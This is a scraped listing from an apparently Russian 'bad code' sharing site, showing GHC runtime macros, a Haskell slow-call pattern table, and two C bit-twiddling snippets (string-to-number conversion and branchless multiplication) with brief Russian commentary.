#if defined(REG_R1) && !defined(NO_GLOBAL_REG_DECLS) GLOBAL_REG_DECL(StgUnion,R1,REG_R1) #else # define R1 (BaseReg->rR1) #endif #if defined(REG_R2) && !defined(NO_GLOBAL_REG_DECLS) GLOBAL_REG_DECL(StgUnion,R2,REG_R2) #else # define R2 (BaseReg->rR2) #endif #if defined(REG_R3) && !defined(NO_GLOBAL_REG_DECLS) GLOBAL_REG_DECL(StgUnion,R3,REG_R3) #else # define R3 (BaseReg->rR3) #endif #if defined(REG_R4) && !defined(NO_GLOBAL_REG_DECLS) GLOBAL_REG_DECL(StgUnion,R4,REG_R4) #else # define R4 (BaseReg->rR4) #endif #if defined(REG_R5) && !defined(NO_GLOBAL_REG_DECLS) GLOBAL_REG_DECL(StgUnion,R5,REG_R5) #else # define R5 (BaseReg->rR5) #endif #if defined(REG_R6) && !defined(NO_GLOBAL_REG_DECLS) GLOBAL_REG_DECL(StgUnion,R6,REG_R6) #else # define R6 (BaseReg->rR6) #endif #if defined(REG_R7) && !defined(NO_GLOBAL_REG_DECLS) GLOBAL_REG_DECL(StgUnion,R7,REG_R7) #else # define R7 (BaseReg->rR7) #endif ...Исходник GHC
https://github.com/ghc/ghc/blob/master/includes/stg/Regs.h#L147Комментарии (39) -
Куча / Говнокод #13491
+125
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
slowCallPattern (P: P: P: P: P: P: _) = (fsLit "stg_ap_pppppp", 6) slowCallPattern (P: P: P: P: P: _) = (fsLit "stg_ap_ppppp", 5) slowCallPattern (P: P: P: P: _) = (fsLit "stg_ap_pppp", 4) slowCallPattern (P: P: P: V: _) = (fsLit "stg_ap_pppv", 4) slowCallPattern (P: P: P: _) = (fsLit "stg_ap_ppp", 3) slowCallPattern (P: P: V: _) = (fsLit "stg_ap_ppv", 3) slowCallPattern (P: P: _) = (fsLit "stg_ap_pp", 2) slowCallPattern (P: V: _) = (fsLit "stg_ap_pv", 2) slowCallPattern (P: _) = (fsLit "stg_ap_p", 1) slowCallPattern (V: _) = (fsLit "stg_ap_v", 1) slowCallPattern (N: _) = (fsLit "stg_ap_n", 1) slowCallPattern (F: _) = (fsLit "stg_ap_f", 1) slowCallPattern (D: _) = (fsLit "stg_ap_d", 1) slowCallPattern (L: _) = (fsLit "stg_ap_l", 1) slowCallPattern (V16: _) = (fsLit "stg_ap_v16", 1) slowCallPattern [] = (fsLit "stg_ap_0", 0)Исходник GHC
https://github.com/ghc/ghc/blob/master/compiler/codeGen/StgCmmArgRep.hs#L120Комментарии (5) -
Си / Говнокод #13461
+134
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
#include <stdio.h> #include <stdint.h> #include <string.h> #include <inttypes.h> union Str { uint64_t a; char str[8]; }; int main(void) { union Str str; memcpy( &str.str, "12345678", sizeof(str.a)); str.a = ((str.a & 0x0F000F000F000F00)>>8) + ((str.a & 0x000F000F000F000F)*10); str.a = 1000000 * ((str.a >> 0 ) & 0xFF) + 10000 * ((str.a >> 16) & 0xFF) + 100 * ((str.a >> 32) & 0xFF) + ((str.a >> 48) & 0xFF); //little-endian only. Можно переделать под big-endian printf("%"PRIu64, str.a); return 0; }Байтоебское преобразование строки из 8 цифр(в виде ascii символов) в число
Комментарии (10) -
Си / Говнокод #13443
+138
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
uint32_t multiply (uint16_t a, uint16_t b) { return ((a & ( (int16_t)( ( b & (1 << 0) ) << 15 ) ) / ( 1 << 15) ) << 0 ) + ((a & ( (int16_t)( ( b & (1 << 1) ) << 14 ) ) / ( 1 << 15) ) << 1 ) + ((a & ( (int16_t)( ( b & (1 << 2) ) << 13 ) ) / ( 1 << 15) ) << 2 ) + ((a & ( (int16_t)( ( b & (1 << 3) ) << 12 ) ) / ( 1 << 15) ) << 3 ) + ((a & ( (int16_t)( ( b & (1 << 4) ) << 11 ) ) / ( 1 << 15) ) << 4 ) + ((a & ( (int16_t)( ( b & (1 << 5) ) << 10 ) ) / ( 1 << 15) ) << 5 ) + ((a & ( (int16_t)( ( b & (1 << 6) ) << 9 ) ) / ( 1 << 15) ) << 6 ) + ((a & ( (int16_t)( ( b & (1 << 7) ) << 8 ) ) / ( 1 << 15) ) << 7 ) + ((a & ( (int16_t)( ( b & (1 << 8) ) << 7 ) ) / ( 1 << 15) ) << 8 ) + ((a & ( (int16_t)( ( b & (1 << 9) ) << 6 ) ) / ( 1 << 15) ) << 9 ) + ((a & ( (int16_t)( ( b & (1 <<10) ) << 5 ) ) / ( 1 << 15) ) << 10) + ((a & ( (int16_t)( ( b & (1 <<11) ) << 4 ) ) / ( 1 << 15) ) << 11) + ((a & ( (int16_t)( ( b & (1 <<12) ) << 3 ) ) / ( 1 << 15) ) << 12) + ((a & ( (int16_t)( ( b & (1 <<13) ) << 2 ) ) / ( 1 << 15) ) << 13) + ((a & ( (int16_t)( ( b & (1 <<14) ) << 1 ) ) / ( 1 << 15) ) << 14) + ((a & ( (int16_t)( ( b & (1 <<15) ) << 0 ) ) / ( 1 << 15) ) << 15); }Умножение двух чисел через битовые маски и сдвиги без условных переходов. Компилятор переведет деление инта на сдвинутую единчку в арифметический сдвиг
Использование ">>" применительно к signed типам - implementation defined http://stackoverflow.com/questions/4009885/arithmetic-bit-shift-on-a-signed-integer/4009922Комментарии (18)
Комментарии
Отправить комментарий